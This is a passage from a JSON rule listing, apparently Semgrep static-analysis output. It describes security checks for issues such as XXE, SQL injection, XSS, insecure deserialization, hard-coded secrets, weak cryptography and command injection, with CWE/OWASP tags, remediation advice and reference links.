\"asdf.gov\"."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","id":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","name":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec","id":"python.django.security.injection.code.user-exec.user-exec","name":"python.django.security.injection.code.user-exec.user-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec.user-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request)\n - [https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server](https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server)\n - [https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html](https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html)\n","text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization)\n - [https://frohoff.github.io/appseccali-marshalling-pickles/](https://frohoff.github.io/appseccali-marshalling-pickles/)\n - [https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi](https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi)\n - [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)\n - [https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331](https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331)\n","text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","id":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","name":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","id":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","name":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n","text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","id":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","name":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.gosql-sqli.gosql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"help":{"markdown":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected)\n","text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.pycryptodome.org/src/hash/ripemd160](https://www.pycryptodome.org/src/hash/ripemd160)\n - [https://www.pycryptodome.org/src/hash/sha1](https://www.pycryptodome.org/src/hash/sha1)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n","text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","id":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","name":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","id":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","name":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","id":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","name":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits"},"help":{"markdown":"RSA keys should be at least 2048 bits\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","id":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","name":"go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxreader-xxe.saxreader-xxe","id":"kotlin.xxe.saxreader-xxe.saxreader-xxe","name":"kotlin.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request)\n - [https://hc.apache.org/httpcomponents-client-ga/quickstart.html](https://hc.apache.org/httpcomponents-client-ga/quickstart.html)\n","text":"Checks for requests sent via Apache HTTP Components to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","id":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","name":"problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.http-components-request.http-components-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"help":{"markdown":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count)\n","text":"Using QUERY.count() instead of len(QUERY.all()) sends less data to the client since the SQLAlchemy method is performed server-side."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.len-all-count","id":"python.sqlalchemy.performance.performance-improvements.len-all-count","name":"python.sqlalchemy.performance.performance-improvements.len-all-count","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.len-all-count"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input that is used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-command-injection.tainted-command-injection","id":"php.lang.security.tainted-command-injection.tainted-command-injection","name":"php.lang.security.tainted-command-injection.tainted-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 